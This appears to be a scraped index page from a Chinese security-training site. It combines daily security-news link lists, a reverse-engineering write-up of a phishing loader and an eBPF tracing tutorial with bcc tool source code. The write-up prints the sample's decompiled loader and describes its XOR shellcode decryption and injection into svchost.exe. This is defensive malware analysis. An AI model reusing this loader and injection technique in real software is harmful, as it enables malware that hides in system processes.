5c-ded2-4295-a22d-5d194d3dcd65-small.png?1767601246547",subContent:e},{id:"b98bc789-2a54-48b0-9c5c-bad8f40abe06",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fc5f84315-faa9-492c-86b0-2a3d914cfaf4.png?1767601227564",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fc5f84315-faa9-492c-86b0-2a3d914cfaf4-small.png?1767601227564",subContent:e},{id:"f0523976-a10c-428b-a62a-0413a3f706fb",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F99f372fd-3858-47c8-835f-4e6ce8b50fc4.png?1767601208449",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F99f372fd-3858-47c8-835f-4e6ce8b50fc4-small.png?1767601208449",subContent:e},{id:"b94adfa4-405c-4c83-b581-38daa71429b1",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5d8d9b6c-9cd0-496d-bc3a-85c2cb2c70fd.png?1767601188230",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F5d8d9b6c-9cd0-496d-bc3a-85c2cb2c70fd-small.png?1767601188230",subContent:e},{id:"05e092db-8530-417e-a42e-c6c3bde934c7",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fcbd20dc8-f6dd-42e4-bb44-fa25515ca1b4.png?1767601171454",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002Fcbd20dc8-f6dd-42e4-bb44-fa25515ca1b4-small.png?1767601171454",subContent:e},{id:"19c9be9e-8cd4-4558-b130-f71bbaace187",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F0bf9c8d4-7ceb-4f8b-9936-013c4310521f.png?1767601141229",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F0bf9c8d4-7ceb-4f8b-9936-013c4310521f-small.png?1767601141229",subContent:e},{id:"d153f5e1-2de0-4b3c-8120-ebd698e2503e",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78efaed9-7adb-4953-8143-8f6a79f2e78b.png?1767601120662",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F78efaed9-7adb-4953-8143-8f6a79f2e78b-small.png?1767601120662",subContent:e},{id:"bbbf539d-1e08-454a-b434-f03eb94e7dc7",type:a,category:b,tags:c,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4a2a5b39-e162-403b-90ac-36cb2c9de8ab.png?1767601095411",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F4a2a5b39-e162-403b-90ac-36cb2c9de8ab-small.png?1767601095411",subContent:e},{id:"984cdb10-0dc6-4647-ab86-bcadb15329e8",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9c0a9127-0338-47b2-98ad-478929866044.png?1767601064227",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9c0a9127-0338-47b2-98ad-478929866044-small.png?1767601064227",subContent:e},{id:"ecea7b6c-5336-4513-900b-03ea8c3e8bbf",type:a,category:b,tags:f,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F46945046-8171-4c6b-9dd5-c831592ec5ff.png?1767601044393",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F46945046-8171-4c6b-9dd5-c831592ec5ff-small.png?1767601044393",subContent:e},{id:"76329878-e94e-44a6-ac71-f95cd384ce20",type:a,category:b,tags:j,file:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9ad888dc-cf5f-439a-bb35-1dbb87a5c63d.png?1763628717563",thumbnailFile:"\u002Fuser-img\u002F3942e10915b9ebe13925e131cc0ca9c7\u002F9ad888dc-cf5f-439a-bb35-1dbb87a5c63d-small.png?1763628717563",subContent:"在校本科生,未毕业,生活费已经解决,拿下看云应急响应月榜第三,严重漏洞奖金+2000"}],systemName:"蚁景网安 - 网络安全人才培养服务提供商",loginUser:void 0,cacheFlag:"4830792816e7975d52ef099d51c4eab8",isMobileDevice:false,nowTime:1784425733353}}("","News"," SRC 广交会 ","广交会第139届奖金","第138届广交会奖金"," 广交会 SRC ","industry","specialized"," 网安学生 "," SRC "))
网络安全日报 2023年01月09日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、高通 UEFI 严重漏洞使微软、联想、三星等设备易受攻击 https://www.securityweek.com/qualcomm-uefi-flaws-expose-microsoft-lenovo-samsung-devices-attacks 2、2022 年美国有200多家政府、教育和医疗机构遭勒索软件攻击 https://www.securityweek.com/ransomware-hit-200-us-gov-education-and-healthcare-organizations-2022 3、IcedID 恶意软件活动针对 Zoom 用户 https://securityaffairs.com/140465/malware/icedid-targets-zoom-users.html 4、Hive 勒索软件团伙泄露了从Consulate Health Care窃取的 550 GB数据 https://securityaffairs.com/140452/cyber-crime/consulate-health-care-hive-ransomware.html 5、Bitdefender 发布了针对 MegaCortex 勒索软件的免费解密器 https://securityaffairs.com/140397/malware/megacortex-ransomware-decryptor.html 6、14 所英国学校遭遇学生和教职工机密数据的大规模泄露 https://www.infosecurity-magazine.com/news/uk-schools-leak-confidential-data 7、Android间谍软件SpyNote以欧洲和亚洲的金融机构为目标 https://thehackernews.com/2023/01/spynote-strikes-again-android-spyware.html 8、攻击者利用Fortinet设备中的漏洞分发勒索软件 https://www.infosecurity-magazine.com/news/fortinet-devices-distribute 9、微软揭示了4个针对macOS的勒索软件家族使用的策略 https://thehackernews.com/2023/01/microsoft-reveals-tactics-used-by-4.html 10、法航和荷航通知客户他们的个人信息在账户被盗后泄露 https://www.bleepingcomputer.com/news/security/air-france-and-klm-notify-customers-of-account-hacks/
网络安全日报 2023年01月06日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、16 家汽车制造商的车辆远程系统、API、基础设施等存在漏洞 https://www.securityweek.com/16-car-makers-and-their-vehicles-hacked-telematics-apis-infrastructure 2、2.35 亿条 Twitter 用户记录在互联网泄露 https://www.securityweek.com/database-containing-235-million-twitter-user-records-available-free 3、Zoho 敦促 ManageEngine 用户修补严重的 SQL 注入漏洞 https://www.securityweek.com/zoho-urges-manageengine-users-patch-serious-sql-injection-vulnerability 4、Slack 称黑客窃取了其私有源代码存储库 https://www.securityweek.com/slack-says-hackers-stole-private-source-code-repositories 5、Bluebottle 网络犯罪集团针对洲法语国家的金融部门 https://thehackernews.com/2023/01/bluebottle-cybercrime-group-preys-on.html 6、NIST 发布了太空操作地面部分的网络安全指南 https://www.securityweek.com/nist-finalizes-cybersecurity-guidance-ground-segment-space-operations 7、网络钓鱼活动冒充Flipper Zero卖家以网络安全专业人士为目标 https://www.infosecurity-magazine.com/news/phishing-campaign-uses-flipper-zero/ 8、丰田汽车公司披露了一起数据泄露事件 https://gbhackers.com/toyota-discloses-data-breach/ 9、超过6万台在线公开Exchange服务器容易受到ProxyNotShell 攻击 https://www.bleepingcomputer.com/news/security/over-60-000-exchange-servers-vulnerable-to-proxynotshell-attacks/ 10、Royal勒索软件团伙声称攻击了昆士兰科技大学 https://www.bleepingcomputer.com/news/security/royal-ransomware-claims-attack-on-queensland-university-of-technology/
记一次2022某地HVV中的逆向分析
前言 事情是这样的,国庆前期某地HVV,所以接到了客户通知他们收到了钓鱼邮件想要溯源 直接下载文件逆向分析一波。钓鱼邮件,图标什么的做的还是挺逼真的,还真的挺容易中招的,但是这里的bug也明显,丹尼斯没有客户端,百度一下能够辨别这是钓鱼的。 逆向分析 查壳工具DIE看是否加壳 当然其他查壳工具也可以exeinfope等,看到的东西不一样 可以看到是64位的应用,无壳,IDA静态分析 直接进入主函数,直接F5逆向main函数c代码 主函数中使用的函数比较少 int __cdecl main(int argc, const char **argv, const char **envp) { HRSRC ResourceW; // rbx HGLOBAL Resource; // rbp signed int v5; // eax size_t v6; // rsi size_t v7; // rcx void *v8; // rdi ResourceW = FindResourceW(0i64, (LPCWSTR)0x66, L"DATA"); Resource = LoadResource(0i64, ResourceW); v5 = SizeofResource(0i64, ResourceW); v6 = v5; v7 = (unsigned int)(v5 + 1); if ( v5 == -1 )   v7 = -1i64; v8 = malloc(v7); memset(v8, 0, (int)v6 + 1); memcpy(v8, Resource, v6); sub_140001070(v8); return 0; } 简单来看就是先查找资源,DATA应该为加密的shellcode,加载资源赋 给Resource,计算资源空间大小,malloc分配空间大小,memset 将申请的内存初始化为0,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,跟进sub_140001070 可以看到反汇编之后在第52行创建进程,在56行分配虚拟内存,60行写入内存,61行创建线程,这里创建的线程即为恶意进程。这里使用动态调试x96dbg验证我们的分析另外,需要分析一下外联的地址以及注入的进程是什么,64位的应用使用x64dbg,依次下断点 简单计算一下地址,IDA的起始地址为00000001400015C4 FindResourcew地址为00000001400015C4 在x64dbg中找到起始地址00007FF638B915C4 根据偏移量跳转下断点 F7按步调试 在loadResource函数中追踪内存 这里加载的是DATA的内容,即为加密的shellcode,我们直接用Resouce hacker直接查看一下恶意进程dennis.exe的DATA内容 说明我们的分析没有问题,继续向下调试 因为这个应用比较小,所以代码量也不大,f5反编译之后可以直接找到函数下断点,这里不需要计算偏移量了,计算方法跟上面差不多。 调试走到这里,可以发现走的是循环 可以明显的看到有xor异或指令,这里对shellcode即DATA的内容做异或,异或的对象为byte ptr指向的地址,内存数据为key,那么key的内容为 因为是按字节异或所以这里异或的内存应该为78,整个循环异或的key应该为12345678,shellcode加密的时候应该用的key为12345678加密的,所以这里解密使用key去解密,跳出循环RIP一下,到断点CreateProcessW 可以清晰的看到注入的进程为C:\\windwos\\system32\\svchost.exe,向下调试 申请虚拟空间内存,然后向下为写入内存 解密完成后写入内存,所以在这里是可以看到外联的ip地址或者说是域名的,这里使用的是ip,查询之后发现是某云的服务器。 在向下就是创建进程起服务svchost.exe了 小结 钓鱼使用的服务器ip地址是某云,怕是可以溯源到本人的真实身份了吧,毕竟现在国内运营商都需要实名,如果用的国内域名也都是实名的不管是否有CDN,不过这种级别的HVV也没必要。第一次逆向分析,多亏了大佬指点,步履维艰,如有错误欢迎指出。
网络安全日报 2023年01月05日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Meta 因数据泄露事件被欧盟罚款 3.9 亿欧元 https://www.securityweek.com/meta-hit-390-million-euro-fine-over-eu-data-breaches 2、Android 针对 2023 Patch 60 漏洞的首次安全更新 https://www.securityweek.com/androids-first-security-updates-2023-patch-60-vulnerabilities 3、Fortinet 的 FortiTester、FortiADC 中发现了严重的命令注入漏洞 https://www.securityweek.com/high-severity-command-injection-flaws-found-fortinets-fortitester-fortiadc 4、Deezer 承认第三方数据泄露可能会泄露超过 2.2 亿用户的信息 https://www.musicbusinessworldwide.com/deezer-admits-data-breach-that-potentially-exposed-over-220-million-users-info 5、新的 shc Linux 恶意软件部署 Cryptominer进行挖矿 https://securityaffairs.com/140308/malware/shc-linux-malware-coinminer.html 6、高通芯片组和联想 BIOS 获得安全更新以修复多个漏洞 https://thehackernews.com/2023/01/qualcomm-chipsets-and-lenovo-bios-get.html 7、BlackCat勒索软件组织创建了泄露受害者数据的网站 https://www.govinfosecurity.com/blackcat-spoofs-victim-website-to-leak-stolen-data-a-20847 8、美国铁路公司Wabtec在Lockbit勒索软件攻击后披露数据泄露 https://www.bleepingcomputer.com/news/security/rail-giant-wabtec-discloses-data-breach-after-lockbit-ransomware-attack/ 9、网络诈骗者通过 Twitter 用户的投诉内容挖取个人信息 https://cybernews.com/news/crooks-monitor-twitter-complaints/ 10、Firefox 火狐浏览器被误识别为微软 IE 11,遭到部分网站拒绝访问 https://www.ithome.com/0/665/155.htm
网络安全日报 2023年01月04日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、欧洲金融和保险业成为Raspberry Robin蠕虫的攻击目标 https://thehackernews.com/2023/01/raspberry-robin-worm-evolves-to-attack.html 2、报告显示2022年美国105个地方政府遭到勒索软件攻击 https://securityaffairs.com/140242/cyber-crime/ransomware-attacks-emsisoft-report-2022.html 3、黑客论坛出售据称从沃尔沃汽车公司窃取的数据 https://securityaffairs.com/140258/hacking/volvo-cars-data-breach-2.html 4、马来西亚下令调查涉嫌影响约1300万公民的大规模数据泄露事件 https://www.govinfosecurity.com/malaysian-agencies-investigate-alleged-breach-affecting-13-million-a-20839 5、Synology 修复其路由器中的多个严重漏洞 https://securityaffairs.com/140288/security/synology-fixes-critical-flaws-routers.html 6、加拿大铜山矿业公司 (CMMC) 在勒索软件攻击后关闭了工厂 https://securityaffairs.com/140282/cyber-crime/canadian-cmmc-ransomware-attack.html 7、BitRAT 恶意活动利用被盗的敏感银行数据作为诱饵 https://securityaffairs.com/140268/malware/bitrat-bank-data-lures.html 8、谷歌将支付2950万美元解决用户位置跟踪诉讼 https://thehackernews.com/2023/01/google-to-pay-295-million-to-settle.html 9、Chrome浏览器将阻止用户通过不安全HTTP链接下载文件 https://www.anquanke.com/post/id/284830 10、2022年在Windows平台上发现了近 7000 万个新恶意软件样本 https://www.secrss.com/articles/50626
网络安全日报 2023年01月03日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google Home智能扬声器存在漏洞可导致黑客窥探设备 https://www.bleepingcomputer.com/news/security/google-home-speakers-allowed-hackers-to-snoop-on-conversations/ 2、LockBit勒索组织针对葡萄牙里斯本港进行网络攻击 https://therecord.media/port-of-lisbon-website-still-down-as-lockbit-gang-claims-cyberattack/ 3、Netgear公司建议用户修补最近修复的WiFi路由器高危漏洞 https://www.bleepingcomputer.com/news/security/netgear-warns-users-to-patch-recently-fixed-wifi-router-bug/ 4、研究人员披露SNI代理错误配置可导致SSRF漏洞 https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/ 5、加拿大矿业公司遭受勒索软件攻击后关闭工厂 https://www.bleepingcomputer.com/news/security/canadian-mining-firm-shuts-down-mill-after-ransomware-attack/ 6、研究人员表示2022年的大规模DDoS攻击增加了81% https://cyware.com/news/large-volume-ddos-attacks-increases-by-81-in-2022-0a9d8cbd 7、PyTorch识别出一个假冒的torchtriton依赖项 https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/ 8、Lockbit 为 SickKids 儿科医院的攻击道歉并发布免费解密器 https://securityaffairs.com/140193/cyber-crime/lockbit-apologized-attack-sickkids.html 9、PureCoder黑客组织在暗网上出售多种恶意软件 https://cyware.com/news/multiple-malware-for-sale-on-darkweb-forums-d7b8c587 10、新的 Linux 恶意软件通过利用 30 个漏洞来攻击 WordPress 网站 https://securityaffairs.com/140153/cyber-crime/linux-malware-wordpress-websites.html
网络安全日报 2022年12月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、上千台Citrix服务器受到多个严重安全漏洞的影响 https://www.bleepingcomputer.com/news/security/thousands-of-citrix-servers-vulnerable-to-patched-critical-flaws 2、Royal勒索组织声称对Intrado电信提供商发动了网络攻击 https://www.bleepingcomputer.com/news/security/royal-ransomware-claims-attack-on-intrado-telecom-provider/ 3、勒索组织针对路易斯安那州医院的攻击影响超27万名患者数据 https://www.bleepingcomputer.com/news/security/ransomware-attack-at-louisiana-hospital-impacts-270-000-patients/ 4、通过 Google Ads 的新恶意广告活动针对搜索流行软件的用户 https://thehackernews.com/2022/12/new-malvertising-campaign-via-google.html 5、罗克韦尔自动化控制器中发现多个 DoS、代码执行漏洞 https://www.securityweek.com/several-dos-code-execution-vulnerabilities-found-rockwell-automation-controllers 6、俄亥俄州法院、警察局遭到 LockBit 勒索软件攻击 https://www.freebuf.com/news/353816.html 7、安全专家指责 LastPass 公告:存在 14 点疑问,避重就轻 https://www.ithome.com/0/663/960.htm 8、美国司法部正在调查 FTX 黑客攻击 https://www.inforisktoday.com/us-department-justice-reportedly-investigates-ftx-hack-a-20809 9、调查显示,金融服务行业是 2022 年最受网络攻击影响的行业之一 https://www.inforisktoday.com/financial-services-was-among-most-breached-sectors-in-2022-a-20760 10、APT 黑客越来越多的转向恶意 Excel 加载项作为初始入侵向量 https://thehackernews.com/2022/12/apt-hackers-turn-to-malicious-excel-add.html
linux跟踪技术之ebpf
ebpf简介 eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。 比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。 ebpf追踪 ebpf本质上只是运行在linux 内核中的虚拟机,要发挥其强大的能力还是要跟linux kernel 自带的追踪功能搭配: kprobe uprobe tracepoint USDT 通常可以通过以下三种工具使用ebpf: bcc libbpf bpftrace bcc BCC 是一个用于创建高效内核跟踪和操作程序的工具包,包括几个有用的工具和示例。它利用扩展的 BPF(Berkeley Packet Filters),正式名称为 eBPF,这是 Linux 3.15 中首次添加的新功能。BCC 使用的大部分内容都需要 Linux 4.1 及更高版本。 源码安装bcc v0.25.0 首先clone bcc 源码仓库 git clone https://github.com/iovisor/bcc.git git checkout v0.25.0 git submodule init git submodule update bcc 从v0.10.0开始使用libbpf 并通过submodule 的形式加入源码树,所以这里需要更新并拉取子模块 安装依赖 apt install flex bison libdebuginfod-dev libclang-14-dev 编译bcc mkdir build && cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j #n取决于机器的cpu核心数 编译安装完成后,在python3中就能使用bcc模块了 安装bcc时会在/usr/share/bcc目录下安装bcc自带的示例脚本和工具脚本,以及manual 文档 可以直接使用man -M /usr/share/bcc/man <keyword>来查询 使用python + bcc 跟踪内核函数 bcc 自带的工具execsnoop可以跟踪execv系统调用,其源代码如下: #!/usr/bin/python # @lint-avoid-python-3-compatibility-imports # # execsnoop Trace new processes via exec() syscalls. #           For Linux, uses BCC, eBPF. Embedded C. # # USAGE: execsnoop [-h] [-T] [-t] [-x] [-q] [-n NAME] [-l LINE] #                 [--max-args MAX_ARGS] # # This currently will print up to a maximum of 19 arguments, plus the process # name, so 20 fields in total (MAXARG). # # This won't catch all new processes: an application may fork() but not exec(). # # Copyright 2016 Netflix, Inc. # Licensed under the Apache License, Version 2.0 (the "License") # # 07-Feb-2016   Brendan Gregg   Created this. from __future__ import print_function from bcc import BPF from bcc.containers import filter_by_containers from bcc.utils import ArgString, printb import bcc.utils as utils import argparse import re import time import pwd from collections import defaultdict from time import strftime def parse_uid(user):    try:        result = int(user)    except ValueError:        try:            user_info = pwd.getpwnam(user)        except KeyError:            raise argparse.ArgumentTypeError(                "{0!r} is not valid UID or user entry".format(user))        else:            return user_info.pw_uid    else:        # Maybe validate if UID < 0 ?        return result # arguments examples = """examples:   ./execsnoop           # trace all exec() syscalls   ./execsnoop -x       # include failed exec()s   ./execsnoop -T       # include time (HH:MM:SS)   ./execsnoop -U       # include UID   ./execsnoop -u 1000   # only trace UID 1000   ./execsnoop -u user   # get user UID and trace only them   ./execsnoop -t       # include timestamps   ./execsnoop -q       # add "quotemarks" around arguments   ./execsnoop -n main   # only print command lines containing "main"   ./execsnoop -l tpkg   # only print command where arguments contains "tpkg"   ./execsnoop --cgroupmap mappath # only trace cgroups in this BPF map   ./execsnoop --mntnsmap mappath   # only trace mount namespaces in the map """ parser = argparse.ArgumentParser(    description="Trace exec() syscalls",    formatter_class=argparse.RawDescriptionHelpFormatter,    epilog=examples) parser.add_argument("-T", "--time", action="store_true",    help="include time column on output (HH:MM:SS)") parser.add_argument("-t", "--timestamp", action="store_true",    help="include timestamp on output") parser.add_argument("-x", "--fails", action="store_true",    help="include failed exec()s") parser.add_argument("--cgroupmap",    help="trace cgroups in this BPF map only") parser.add_argument("--mntnsmap",    help="trace mount namespaces in this BPF map only") parser.add_argument("-u", "--uid", type=parse_uid, metavar='USER',    help="trace this UID only") parser.add_argument("-q", "--quote", action="store_true",    help="Add quotemarks (\") around arguments."   ) parser.add_argument("-n", "--name",    type=ArgString,    help="only print commands matching this name (regex), any arg") parser.add_argument("-l", "--line",    type=ArgString,    help="only print commands where arg contains this line (regex)") parser.add_argument("-U", "--print-uid", action="store_true",    help="print UID column") parser.add_argument("--max-args", default="20",    help="maximum number of arguments parsed and displayed, defaults to 20") parser.add_argument("--ebpf", action="store_true",    help=argparse.SUPPRESS) args = parser.parse_args() # define BPF program bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> #define ARGSIZE 128 enum event_type {   EVENT_ARG,   EVENT_RET, }; struct data_t {   u32 pid; // PID as in the userspace term (i.e. task->tgid in kernel)   u32 ppid; // Parent PID as in the userspace term (i.e task->real_parent->tgid in kernel)   u32 uid;   char comm[TASK_COMM_LEN];   enum event_type type;   char argv[ARGSIZE];   int retval; }; BPF_PERF_OUTPUT(events); static int __submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   bpf_probe_read_user(data->argv, sizeof(data->argv), ptr);   events.perf_submit(ctx, data, sizeof(struct data_t));   return 1; } static int submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   const char *argp = NULL;   bpf_probe_read_user(&argp, sizeof(argp), ptr);   if (argp) {       return __submit_arg(ctx, (void *)(argp), data);   }   return 0; } int syscall__execve(struct pt_regs *ctx,   const char __user *filename,   const char __user *const __user *__argv,   const char __user *const __user *__envp) {   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   if (container_should_be_filtered()) {       return 0;   }   // create data here and pass to submit_arg to save stack space (#555)   struct data_t data = {};   struct task_struct *task;   data.pid = bpf_get_current_pid_tgid() >> 32;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_ARG;   __submit_arg(ctx, (void *)filename, &data);   // skip first arg, as we submitted filename   #pragma unroll   for (int i = 1; i < MAXARG; i++) {       if (submit_arg(ctx, (void *)&__argv[i], &data) == 0)             goto out;   }   // handle truncated argument list   char ellipsis[] = "...";   __submit_arg(ctx, (void *)ellipsis, &data); out:   return 0; } int do_ret_sys_execve(struct pt_regs *ctx) {   if (container_should_be_filtered()) {       return 0;   }   struct data_t data = {};   struct task_struct *task;   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   data.pid = bpf_get_current_pid_tgid() >> 32;   data.uid = uid;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_RET;   data.retval = PT_REGS_RC(ctx);   events.perf_submit(ctx, &data, sizeof(data));   return 0; } """ bpf_text = bpf_text.replace("MAXARG", args.max_args) if args.uid:    bpf_text = bpf_text.replace('UID_FILTER',        'if (uid != %s) { return 0; }' % args.uid) else:    bpf_text = bpf_text.replace('UID_FILTER', '') bpf_text = filter_by_containers(args) + bpf_text if args.ebpf:    print(bpf_text)    exit() # initialize BPF b = BPF(text=bpf_text) execve_fnname = b.get_syscall_fnname("execve") b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") b.attach_kretprobe(event=execve_fnname, fn_name="do_ret_sys_execve") # header if args.time:    print("%-9s" % ("TIME"), end="") if args.timestamp:    print("%-8s" % ("TIME(s)"), end="") if args.print_uid:    print("%-6s" % ("UID"), end="") print("%-16s %-7s %-7s %3s %s" % ("PCOMM", "PID", "PPID", "RET", "ARGS")) class EventType(object):    EVENT_ARG = 0    EVENT_RET = 1 start_ts = time.time() argv = defaultdict(list) # This is best-effort PPID matching. Short-lived processes may exit # before we get a chance to read the PPID. # This is a fallback for when fetching the PPID from task->real_parent->tgip # returns 0, which happens in some kernel versions. def get_ppid(pid):    try:        with open("/proc/%d/status" % pid) as status:            for line in status:                if line.startswith("PPid:"):                    return int(line.split()[1])    except IOError:        pass    return 0 # process event def print_event(cpu, data, size):    event = b["events"].event(data)    skip = False    if event.type == EventType.EVENT_ARG:        argv[event.pid].append(event.argv)    elif event.type == EventType.EVENT_RET:        if event.retval != 0 and not args.fails:            skip = True        if args.name and not re.search(bytes(args.name), event.comm):            skip = True        if args.line and not re.search(bytes(args.line),                                       b' '.join(argv[event.pid])):            skip = True        if args.quote:            argv[event.pid] = [                b"\"" + arg.replace(b"\"", b"\\\"") + b"\""                for arg in argv[event.pid]           ]        if not skip:            if args.time:                printb(b"%-9s" % strftime("%H:%M:%S").encode('ascii'), nl="")            if args.timestamp:                printb(b"%-8.3f" % (time.time() - start_ts), nl="")            if args.print_uid:                printb(b"%-6d" % event.uid, nl="")            ppid = event.ppid if event.ppid > 0 else get_ppid(event.pid)            ppid = b"%d" % ppid if ppid > 0 else b"?"            argv_text = b' '.join(argv[event.pid]).replace(b'\n', b'\\n')            printb(b"%-16s %-7d %-7s %3d %s" % (event.comm, event.pid,                   ppid, event.retval, argv_text))        try:            del(argv[event.pid])        except Exception:            pass # loop with callback to print_event b["events"].open_perf_buffer(print_event) while 1:    try:        b.perf_buffer_poll()    except KeyboardInterrupt:        exit() 此工具使用kprobe和kretprobe跟踪execv系统调用的进入和退出事件,并将进程名,进程参数,pid,ppid以及返回代码输出到终端 使用python + bcc 跟踪用户函数 bcc中使用uprobe跟踪glibc malloc 函数的工具,并统计malloc 内存的总量。 #!/usr/bin/python # # mallocstacks Trace malloc() calls in a process and print the full #               stack trace for all callsites. #               For Linux, uses BCC, eBPF. Embedded C. # # This script is a basic example of the new Linux 4.6+ BPF_STACK_TRACE # table API. # # Copyright 2016 GitHub, Inc. # Licensed under the Apache License, Version 2.0 (the "License") from __future__ import print_function from bcc import BPF from bcc.utils import printb from time import sleep import sys if len(sys.argv) < 2:    print("USAGE: mallocstacks PID [NUM_STACKS=1024]")    exit() pid = int(sys.argv[1]) if len(sys.argv) == 3:    try:        assert int(sys.argv[2]) > 0, ""    except (ValueError, AssertionError) as e:        print("USAGE: mallocstacks PID [NUM_STACKS=1024]")        print("NUM_STACKS must be a non-zero, positive integer")        exit()    stacks = sys.argv[2] else:    stacks = "1024" # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> BPF_HASH(calls, int); BPF_STACK_TRACE(stack_traces, """ + stacks + """); int alloc_enter(struct pt_regs *ctx, size_t size) {   int key = stack_traces.get_stackid(ctx, BPF_F_USER_STACK);   if (key < 0)       return 0;   // could also use `calls.increment(key, size);`   u64 zero = 0, *val;   val = calls.lookup_or_try_init(&key, &zero);   if (val) {     (*val) += size;   }   return 0; }; """) b.attach_uprobe(name="c", sym="malloc", fn_name="alloc_enter", pid=pid) print("Attaching to malloc in pid %d, Ctrl+C to quit." % pid) # sleep until Ctrl-C try:    sleep(99999999) except KeyboardInterrupt:    pass calls = b.get_table("calls") stack_traces = b.get_table("stack_traces") for k, v in reversed(sorted(calls.items(), key=lambda c: c[1].value)):    print("%d bytes allocated at:" % v.value)    if k.value > 0 :        for addr in stack_traces.walk(k.value):            printb(b"\t%s" % b.sym(addr, pid, show_offset=True)) libbpf libbpf是linux 源码树中的ebpf 开发包。同时在github上也有独立的代码仓库。 这里推荐使用https://zhuanlan.zhihu.com/write这个项目 libbpf-bootstrap libbpf-bootstrap是使用 libbpf 和 BPF CO-RE 进行 BPF 应用程序开发的脚手架项目 首先克隆libbpf-bootstrap仓库 git clone https://github.com/libbpf/libbpf-bootstrap.git 然后同步子模块 cd libbpf-bootstrap git submodule init git submodule update 注意,子模块中包含bpftool,bpftool中还有子模块需要同步 在bpftool目录下重复以上步骤 libbpf-bootstrap中包含以下目录 这里进入example/c中,这里包含一些示例工具 直接make编译 等编译完成后,在此目录下会生成可执行文件 先运行一下bootstrap,这里要用root权限运行 